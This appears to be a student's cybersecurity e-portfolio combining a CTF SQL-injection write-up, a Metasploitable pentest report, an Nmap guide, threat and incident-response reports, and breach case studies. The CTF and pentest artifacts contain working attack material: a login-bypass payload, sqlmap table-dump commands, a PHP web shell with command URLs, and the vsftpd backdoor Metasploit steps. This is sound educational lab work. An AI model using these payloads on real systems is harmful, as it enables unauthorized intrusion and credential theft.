---

Artifact 7 — CTF Writeup: Web Exploitation Challenge

Platform: TryHackMe Challenge Type: Web Exploitation / SQL Injection Difficulty: Medium Date: Summer 2024

Overview

This writeup documents my approach to a web exploitation challenge involving SQL injection and privilege escalation. The challenge required identifying a vulnerability in a login form, exploiting it to access a database, and using retrieved credentials to gain administrative access to the application.

Reconnaissance

I began by navigating to the challenge URL and examining the login page. Using browser developer tools, I inspected the page source and identified that the login form submitted a POST request to /login.php with parameters username and password.

I then ran a basic Nmap scan to identify open ports and services:

nmap -sV -p 80,443,8080 <target_ip>

Results showed port 80 open running Apache 2.4.29 on Ubuntu. No other relevant ports were open.

Identifying the Vulnerability

I tested the login form with a basic SQL injection payload:

Username: admin' --
Password: anything

The application returned a successful login response, confirming that the login form was vulnerable to SQL injection. The -- comment sequence was causing the password check to be ignored entirely.

Exploitation

Using sqlmap to automate further SQL injection testing:

sqlmap -u "http://<target>/login.php" --data="username=admin&password=test" --dbs

This returned the database names present on the server. I then enumerated the tables in the target database:

sqlmap -u "http://<target>/login.php" --data="username=admin&password=test" -D targetdb --tables

The users table was identified. Dumping its contents:

sqlmap -u "http://<target>/login.php" --data="username=admin&password=test" -D targetdb -T users --dump

This returned a table containing usernames and hashed passwords. The admin hash was cracked using a wordlist attack with John the Ripper, yielding the plaintext password.

Privilege Escalation

Logging in with the admin credentials revealed an administrative panel with file upload functionality. I tested whether the file upload validated file types by uploading a PHP web shell:

php

<?php system($_GET['cmd']); ?>

The upload was accepted. Navigating to the uploaded file’s URL and passing a command:

http://<target>/uploads/shell.php?cmd=id

Returned: uid=33(www-data). I now had remote code execution on the server.

Flag Retrieval

Using the web shell to navigate the file system, I located the flag file at /home/admin/flag.txt and retrieved it using:

http://<target>/uploads/shell.php?cmd=cat+/home/admin/flag.txt

Lessons Learned

This challenge reinforced several important principles:

• SQL injection remains a critical vulnerability in web applications and is preventable through parameterized queries
• File upload functionality must validate file type, not just extension
• Defense in depth matters: even after gaining code execution, a properly configured web server would have limited what www-data could access
• Methodical enumeration — checking each step before moving to the next — is more effective than rushing toward exploitation

---

Artifact 8 — Penetration Testing Lab Report

Target Environment: Metasploitable 2 (intentionally vulnerable VM) Testing Type: Internal network penetration test (simulated) Date: Summer 2024

---

Executive Summary

This report documents a penetration test conducted against a Metasploitable 2 virtual machine in a controlled lab environment. The assessment identified multiple critical vulnerabilities that would allow an unauthenticated attacker to gain full administrative control of the target system. All testing was conducted in an isolated lab environment with no impact on production systems.

Risk Rating: Critical

---

Scope and Methodology

Scope: Single target host — Metasploitable 2 VM (192.168.56.101) Methodology: PTES (Penetration Testing Execution Standard) Phases: Reconnaissance → Scanning → Exploitation → Post-Exploitation → Reporting

---

Reconnaissance

Passive reconnaissance confirmed the target IP and that the system was reachable on the local network. No external OSINT was conducted given the lab nature of the target.

---

Scanning and Enumeration

An Nmap scan revealed the following open ports and services:

nmap -sV -O -p- 192.168.56.101

Key findings:

Port	Service	Version
21	FTP	vsftpd 2.3.4
22	SSH	OpenSSH 4.7p1
23	Telnet	Linux telnetd
80	HTTP	Apache 2.2.8
3306	MySQL	5.0.51a
5900	VNC	Protocol 3.3

The vsftpd 2.3.4 version is known to contain a backdoor vulnerability (CVE-2011-2523).

---

Exploitation

Vulnerability 1: vsftpd 2.3.4 Backdoor (CVE-2011-2523)

The vsftpd 2.3.4 backdoor is triggered by sending a username containing :) which causes the server to open a shell on port 6200.

Using Metasploit:

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.101
run

Result: Root shell obtained immediately. No credentials required.

Vulnerability 2: Telnet with Default Credentials

Telnet was accessible with the default credentials msfadmin:msfadmin, providing a second avenue for administrative access.

---

Post-Exploitation

With root access established, the following post-exploitation activities were performed:

• Confirmed root privileges with id command
• Retrieved /etc/passwd and /etc/shadow for offline password cracking (simulated)
• Demonstrated ability to create new user accounts
• Confirmed access to MySQL database with default root credentials (no password)

---

Findings Summary

Finding	Severity	CVE
vsftpd 2.3.4 backdoor	Critical	CVE-2011-2523
Telnet enabled with default credentials	Critical	N/A
MySQL accessible with no root password	Critical	N/A
SSH running outdated version	High	Multiple
VNC accessible without authentication	Critical	N/A

---

Recommendations

1. Replace vsftpd 2.3.4 immediately with a current, supported version
2. Disable Telnet and use SSH exclusively for remote administration
3. Set a strong password for the MySQL root account and restrict remote access
4. Update all services to current supported versions
5. Implement host-based firewall rules to restrict access to sensitive ports

---

Conclusion

The Metasploitable 2 system is intentionally vulnerable and serves as a valuable learning environment. In a real-world context, the vulnerabilities identified here would represent an unacceptable risk. This assessment demonstrates the value of regular penetration testing: vulnerabilities that are known and documented can be remediated; vulnerabilities that are undiscovered cannot.

---

Artifact 9 — NEW ARTIFACT: Beginner’s Guide to Nmap for Cybersecurity Students

Type: Original Educational Resource Created for: IDS E-Portfolio Project Date: Fall 2024

---

Introduction

If you are just beginning your journey in cybersecurity, you will encounter Nmap within your first few weeks. Nmap (Network Mapper) is a free, open-source tool used for network discovery and security auditing. It is one of the most widely used tools in the field — used by penetration testers, SOC analysts, network administrators, and security researchers every day.

This guide is written for students who have never used Nmap before. By the end, you will understand what Nmap does, how to run basic scans, how to interpret the results, and how to use that information in a security context.

---

What Does Nmap Do?

Nmap sends specially crafted packets to a target system and analyzes the responses. From those responses, it can determine:

• Which hosts are online on a network
• Which ports are open on those hosts
• What services are running on those ports
• What operating system a host is likely running

This information is foundational to both attacking and defending networks. A penetration tester uses Nmap to understand a target before attempting exploitation. A defender uses it to audit their own network and make sure only expected services are exposed.

---

Installing Nmap

Nmap is pre-installed on Kali Linux. If you are using another system:

Linux (Debian/Ubuntu):

sudo apt-get install nmap

Windows: Download the installer from https://nmap.org/download.html

Mac:

brew install nmap

---

Your First Scan: Ping Sweep

A ping sweep tells you which hosts are alive on a network. This is usually the first thing you do when assessing a network.

nmap -sn 192.168.1.0/24

The -sn flag means “scan for hosts only, no port scan.” The /24 means you are scanning all 256 addresses in the 192.168.1.x range.

Example output:

Nmap scan report for 192.168.1.1
Host is up (0.0034s latency).
Nmap scan report for 192.168.1.105
Host is up (0.0021s latency).

This tells you that two hosts are online: the router (1.1) and one other device (1.105).

---

Port Scanning Basics

Once you know a host is alive, you want to know what ports are open. Open ports mean running services. Running services are potential entry points.

Basic TCP scan:

nmap 192.168.1.105

By default, Nmap scans the 1,000 most common ports.

Scan all 65,535 ports:

nmap -p- 192.168.1.105

Scan specific ports:

nmap -p 22,80,443,3389 192.168.1.105

---

Service and Version Detection

Knowing a port is open is useful. Knowing what is running on that port is more useful.

nmap -sV 192.168.1.105

The -sV flag attempts to determine the service name and version number for each open port.

Example output:

PORT    STATE  SERVICE  VERSION
22/tcp  open   ssh      OpenSSH 7.4
80/tcp  open   http     Apache httpd 2.4.29
3306/tcp open  mysql    MySQL 5.7.30

This tells you exactly what is running. You can now research whether any of these specific versions have known vulnerabilities.

---

Operating System Detection

nmap -O 192.168.1.105

Nmap will attempt to fingerprint the operating system based on how the target responds to certain probes. This is not always 100% accurate, but it is a useful starting point.

---

Putting It Together: A Comprehensive Scan

For most learning scenarios, this command gives you a thorough picture:

nmap -sV -O -A 192.168.1.105

The -A flag enables aggressive scanning: OS detection, version detection, script scanning, and traceroute. Be aware that aggressive scans generate more network traffic and are more likely to be detected by security tools.

---

Reading Nmap Output

Every Nmap scan result has a few key fields:

• PORT: The port number and protocol (e.g., 80/tcp)
• STATE: open, closed, or filtered
  • Open = something is listening here
  • Closed = port is reachable but nothing is listening
  • Filtered = a firewall may be blocking the probe
• SERVICE: The name of the expected service for that port
• VERSION: The specific software version (with -sV)

---

Legal and Ethical Reminder

Nmap is a powerful tool. Only scan systems you own or have explicit written permission to scan. Scanning systems without permission is illegal in most jurisdictions and can result in serious consequences. In a learning context, always use dedicated lab environments like Metasploitable VMs, TryHackMe rooms, or Hack The Box machines.

---

Next Steps

Once you are comfortable with Nmap, explore:

• Nmap Scripting Engine (NSE): Automates advanced tasks like vulnerability detection
• Zenmap: A graphical interface for Nmap, good for visualizing results
• Wireshark: Packet capture tool that complements Nmap by letting you see the actual traffic
• Metasploit: Use Nmap findings as input for exploitation in lab environments

---

Conclusion

Nmap is one of the first tools you will learn and one of the last tools you will stop using. Its simplicity is deceptive — behind a few command-line flags is a remarkably powerful capability to understand any network you are authorized to assess. Practice it regularly, document your results carefully, and always work ethically. The foundation you build with Nmap will serve your entire cybersecurity career.

---

Artifact 4 — Threat Analysis Report: Phishing Campaign Targeting Corporate Email

Course Context: Cyber Threat Intelligence Date: Spring 2024

Executive Summary

This report analyzes a spear-phishing campaign identified targeting employees of mid-sized financial services organizations. The campaign used carefully crafted emails impersonating internal IT departments to harvest employee credentials. This analysis covers the attack methodology, indicators of compromise, threat actor assessment, and recommended mitigations.

Threat Overview

Threat Type: Spear-phishing / Credential harvesting Target Sector: Financial services Likely Motivation: Financial gain / Initial access for follow-on attack Sophistication Level: Moderate to high

Attack Methodology

The campaign followed a structured attack chain:

Phase 1 — Reconnaissance Attackers gathered employee information from LinkedIn and company websites to identify targets with access to financial systems. Job titles such as “Accounts Payable Specialist” and “Finance Manager” were specifically targeted.

Phase 2 — Email Crafting Phishing emails were sent from domains that closely resembled legitimate company domains (e.g., company-it-support.com vs. company.com). Emails warned recipients that their passwords were expiring and directed them to click a link to update their credentials.

Phase 3 — Credential Harvesting The link directed users to a convincing replica of the company’s login portal. Credentials entered on the page were captured and transmitted to attacker-controlled infrastructure.

Phase 4 — Account Exploitation Harvested credentials were used to access email accounts, from which attackers sought financial information, wire transfer instructions, and contact lists for further targeting.

Indicators of Compromise (IOCs)

• Sending domains: company-it-helpdesk[.]com, it-support-portal[.]net
• Subject lines: “Action Required: Password Expiration Notice,” “Immediate Action: Account Security Alert”
• Phishing page IP: 185.234.xx.xx (hosted on bulletproof hosting provider)
• User-agent string associated with credential harvesting tool

Threat Actor Assessment

Based on the targeting pattern, infrastructure characteristics, and techniques used, this campaign is consistent with financially motivated threat actors operating in Eastern Europe. The use of bulletproof hosting and the targeting of finance personnel is consistent with Business Email Compromise (BEC) groups documented by the FBI’s Internet Crime Complaint Center (IC3).

Recommended Mitigations

1. Implement multi-factor authentication on all email accounts immediately
2. Deploy email filtering solutions with domain similarity detection
3. Conduct employee security awareness training with emphasis on phishing recognition
4. Implement DMARC, DKIM, and SPF email authentication protocols
5. Monitor for login attempts from unusual geographic locations or IP addresses

---

Artifact 5 — Incident Response Plan: Ransomware Incident

Course Context: Incident Response and Digital Forensics Date: Spring 2024

Purpose

This Incident Response Plan (IRP) provides structured guidance for responding to a ransomware incident affecting organizational systems. It is designed to minimize damage, preserve evidence, restore operations, and prevent recurrence.

Incident Response Team

Role	Responsibility
Incident Response Lead	Overall coordination and decision-making
Security Analyst	Technical investigation and containment
IT Operations	System isolation and recovery
Legal/Compliance	Regulatory notification and documentation
Communications Lead	Internal and external communications

Phase 1 — Detection and Identification

Triggers that may indicate ransomware:

• Files with unfamiliar extensions appearing on shared drives
• Ransom note files appearing on desktops or shared folders
• Sudden inability to open files
• Unusual encryption activity detected by endpoint security tools
• Help desk calls from multiple users reporting the same issue

Immediate Actions:

1. Document the time, date, and nature of the alert
2. Identify affected systems and users
3. Preserve logs from affected systems before any remediation
4. Notify the Incident Response Lead immediately

Phase 2 — Containment

Short-term containment (within 1 hour):

1. Isolate affected systems from the network by disabling network interfaces or physically disconnecting network cables
2. Do NOT power off affected systems — live memory may contain decryption keys or attacker artifacts
3. Block identified malicious IP addresses and domains at the firewall
4. Disable affected user accounts to prevent further spread via compromised credentials

Long-term containment:

1. Identify the initial infection vector (phishing email, exposed RDP, vulnerable software)
2. Patch or remediate the identified vulnerability
3. Scan all systems for indicators of compromise

Phase 3 — Eradication

1. Identify all systems affected by the ransomware
2. Remove malware using endpoint security tools and manual remediation
3. Rebuild systems from known-good images where full eradication cannot be confirmed
4. Reset all passwords, prioritizing accounts with elevated privileges

Phase 4 — Recovery

1. Restore data from clean backups verified to predate the infection
2. Bring systems back online in a staged manner, monitoring closely for signs of reinfection
3. Verify system integrity before restoring to production status
4. Document all actions taken during recovery

Phase 5 — Post-Incident Review

Within two weeks of incident closure:

1. Conduct a lessons-learned meeting with all incident response team members
2. Document a timeline of the incident from initial compromise to full recovery
3. Identify security control gaps that enabled the incident
4. Update this IRP based on findings
5. Submit required regulatory notifications (if applicable under HIPAA, PCI-DSS, state breach notification laws, etc.)

---

Artifact 6 — Case Study: The WannaCry Ransomware Attack of 2017

Course Context: Cybersecurity Policy and Law Date: Fall 2023

Introduction

The WannaCry ransomware attack of May 2017 infected more than 200,000 systems across 150 countries within a single day, causing an estimated $4–8 billion in damages. It remains one of the most consequential cyberattacks in history and offers critical lessons for security analysts and incident responders. This case study examines the attack’s technical mechanics, its organizational impact, and the policy implications it raised.

Technical Analysis

WannaCry exploited EternalBlue, a vulnerability in Microsoft’s SMB (Server Message Block) protocol. EternalBlue had been developed by the NSA as a cyberweapon and was leaked by a hacking group called Shadow Brokers in April 2017 — just weeks before WannaCry emerged. Microsoft had released a patch (MS17-010) in March 2017, but millions of systems worldwide had not applied it.

The ransomware spread autonomously through networks without requiring any user interaction — unlike phishing-based ransomware, WannaCry could self-propagate by scanning for vulnerable SMB ports (port 445) and exploiting them directly. Once a system was infected, files were encrypted and a ransom demand of $300–600 in Bitcoin was displayed.

Organizational Impact

The UK’s National Health Service (NHS) was among the hardest-hit organizations, with approximately 80 of 236 NHS trusts affected. Operations were disrupted, appointments cancelled, and some hospitals diverted emergency patients. The attack exposed how deeply healthcare organizations had come to rely on legacy systems — many NHS computers were running Windows XP, which Microsoft had ceased supporting in 2014.

Why It Spread So Far

Several factors enabled WannaCry’s unprecedented spread:

1. Unpatched systems: Many organizations had not applied the available MS17-010 patch
2. Legacy systems: Healthcare, utilities, and government agencies often run outdated systems that cannot be patched without disrupting operations
3. Flat network architectures: Many organizations lacked internal network segmentation, allowing the worm to spread freely once inside the perimeter
4. No kill switch awareness: A security researcher accidentally discovered a kill switch domain in the malware’s code and registered it, slowing the spread — but many organizations had already been infected

Lessons for Incident Responders

1. Patch management is a non-negotiable security control — the WannaCry patch was available weeks before the attack
2. Network segmentation limits the blast radius of self-propagating malware
3. Legacy systems represent a systemic vulnerability that requires dedicated risk management strategies
4. Incident response plans must account for scenarios where normal communication channels (email, shared drives) may be compromised

Conclusion

WannaCry was not a sophisticated attack. It succeeded because of accumulated organizational failures — outdated systems, poor patch management, and inadequate segmentation. Its lesson is not primarily technical: it is a lesson about the organizational commitment required to maintain a meaningful security posture.

Prince Damte | Cybersecurity

---

SKILL 1: NETWORK SECURITY & DEFENSE

---

Artifact 1 — Network Design and Configuration Lab Report

Course Context: Network Security Fundamentals Date: Spring 2024

Overview

This lab report documents the design and configuration of a secure small-business network environment. The objective was to build a network architecture that minimizes attack surface, enforces access controls, and demonstrates core defensive security principles.

Network Design

The network was designed using a three-tier architecture: an external perimeter zone, a demilitarized zone (DMZ), and an internal trusted network. This separation ensures that publicly accessible services (web server, email server) are isolated from internal systems containing sensitive data.

Network Diagram Summary:

• External Zone: Connects to the internet via ISP router
• Perimeter Firewall: Filters all inbound and outbound traffic using stateful packet inspection
• DMZ: Houses the web server (192.168.2.10) and mail server (192.168.2.11)
• Internal Network: Hosts workstations (192.168.1.0/24) and file server (192.168.1.100)
• Internal Firewall: Provides second layer of protection between DMZ and internal network

Configuration Steps

Step 1 — Firewall Rules (Perimeter) The perimeter firewall was configured with the following rules:

• Allow inbound HTTP (port 80) and HTTPS (port 443) to DMZ web server only
• Allow inbound SMTP (port 25) to DMZ mail server only
• Deny all other inbound traffic by default
• Allow all outbound traffic from internal network
• Log all denied connection attempts

Step 2 — VLAN Segmentation VLANs were configured on the internal switch to separate:

• VLAN 10: Administrative workstations
• VLAN 20: General staff workstations
• VLAN 30: Server VLAN (file server, internal DNS)

Inter-VLAN routing was restricted so that general staff could not access the administrative VLAN without explicit firewall rules permitting it.

Step 3 — Access Control

• All administrative accounts required strong passwords (minimum 14 characters, complexity enforced)
• Remote access to network devices was restricted to SSH only; Telnet was disabled
• SNMP community strings were changed from default values
• Unused ports on switches were disabled and assigned to an unused VLAN

Step 4 — Intrusion Detection A host-based intrusion detection system (HIDS) was installed on the file server to monitor for unusual file access patterns, privilege escalation attempts, and unauthorized login attempts.

Testing and Validation

After configuration, the network was tested using the following methods:

• Port scanning with Nmap to verify that only expected ports were open from the external zone
• Attempted lateral movement from the general staff VLAN to the administrative VLAN (blocked successfully)
• Simulated brute-force login attempt against the file server (HIDS alert triggered successfully)

Lessons Learned

This lab reinforced the principle of defense in depth — the idea that no single security control is sufficient and that layered defenses create meaningful barriers even when individual controls are bypassed. I also learned that documentation is inseparable from good security practice: a network that is configured correctly but not documented is nearly impossible to maintain or audit.

---

Artifact 2 — Secure Network Policy: Small Business Security Policy Document

Course Context: Information Security Policy and Management Date: Fall 2023

Purpose

This policy document establishes the minimum security standards for the internal network of a fictional small business, Meridian Consulting Group. It is intended to guide administrators, employees, and contractors in the secure use of organizational technology resources.

Scope

This policy applies to all employees, contractors, and third-party vendors who access Meridian Consulting Group’s network resources, whether on-premises or remotely.

Acceptable Use Policy

1. Network resources are to be used for business purposes only. Personal use is permitted on a limited basis provided it does not consume excessive bandwidth or expose the network to risk.
2. Users must not attempt to access systems, files, or data for which they have not been granted explicit authorization.
3. Installation of unauthorized software on company devices is prohibited.
4. All work-related data must be stored on company-approved systems. Personal cloud storage (personal Google Drive, Dropbox, etc.) must not be used for company data.

Password Policy

• Minimum password length: 12 characters
• Passwords must include uppercase letters, lowercase letters, numbers, and special characters
• Passwords must be changed every 90 days
• Password reuse is prohibited for the last 10 passwords
• Multi-factor authentication (MFA) is required for all remote access and all administrative accounts

Network Access Controls

• All devices connecting to the internal network must be registered with the IT department
• Guest Wi-Fi is provided on a separate network segment with no access to internal resources
• Remote access is permitted via VPN only, using certificate-based authentication
• Inactive VPN sessions will time out after 30 minutes

Incident Reporting

All employees are required to report suspected security incidents immediately to the IT security team. Incidents include but are not limited to:

• Receiving suspicious emails or phishing attempts
• Noticing unusual behavior on a company device
• Losing or having a company device stolen
• Accidentally disclosing login credentials

Compliance

This policy is aligned with the NIST Cybersecurity Framework (NIST, 2018) and will be reviewed annually. Non-compliance may result in disciplinary action up to and including termination.

References

National Institute of Standards and Technology. (2018). Framework for improving critical infrastructure cybersecurity (Version 1.1). https://www.nist.gov/cyberframework

---

Artifact 3 — Network Breach Case Study: The Target Data Breach of 2013

Course Context: Cybersecurity Risk and Analysis Date: Fall 2023

Introduction

The 2013 Target Corporation data breach remains one of the most instructive case studies in network security failure. Over a period of approximately three weeks during the holiday shopping season, attackers accessed the payment card data of approximately 40 million customers and the personal information of an additional 70 million. This case study examines how the breach occurred, what network security failures enabled it, and what lessons can be drawn for security practitioners.

How the Breach Occurred

The attack began with a phishing email sent to employees of Fazio Mechanical, an HVAC vendor that had network access to Target’s systems for the purpose of electronic billing and project management. When a Fazio employee clicked on a malicious link, attackers gained credentials that allowed them to access Target’s vendor portal.

From the vendor portal, the attackers were able to move laterally through Target’s network — a movement that should have been prevented by network segmentation controls. Target’s network allowed a third-party vendor with billing access to reach systems far beyond what was necessary for their business function. This violation of the principle of least privilege was the critical enabling failure.

Once inside the broader network, attackers installed malware on Target’s point-of-sale (POS) systems. This malware scraped payment card data from memory as cards were swiped, a technique known as RAM scraping. The stolen data was then aggregated on a server within Target’s network before being exfiltrated to external servers.

Security Failures Identified

1. Inadequate Network Segmentation The vendor network should have been strictly isolated from payment systems. A properly segmented network would have prevented lateral movement from a vendor portal to POS infrastructure.

2. Failure to Act on Alerts Target had deployed a security monitoring tool (FireEye) that generated alerts when the malware was installed. Security staff reportedly reviewed and dismissed these alerts. This represents a failure of incident response process, not just technology.

3. Third-Party Risk Management Target failed to adequately assess and control the security posture of its vendors. Third-party access was granted without sufficient controls or monitoring.

Lessons for Security Practitioners

1. Network segmentation must be enforced rigorously, especially for third-party access
2. Security alerts require defined escalation procedures — technology alone is insufficient
3. Third-party risk management is an essential component of network security
4. The principle of least privilege must be applied to all accounts, including vendor accounts

Conclusion

The Target breach illustrates that network security failures are rarely purely technical. They involve process failures, organizational decisions, and human behavior. A comprehensive security posture requires attention to all of these dimensions simultaneously.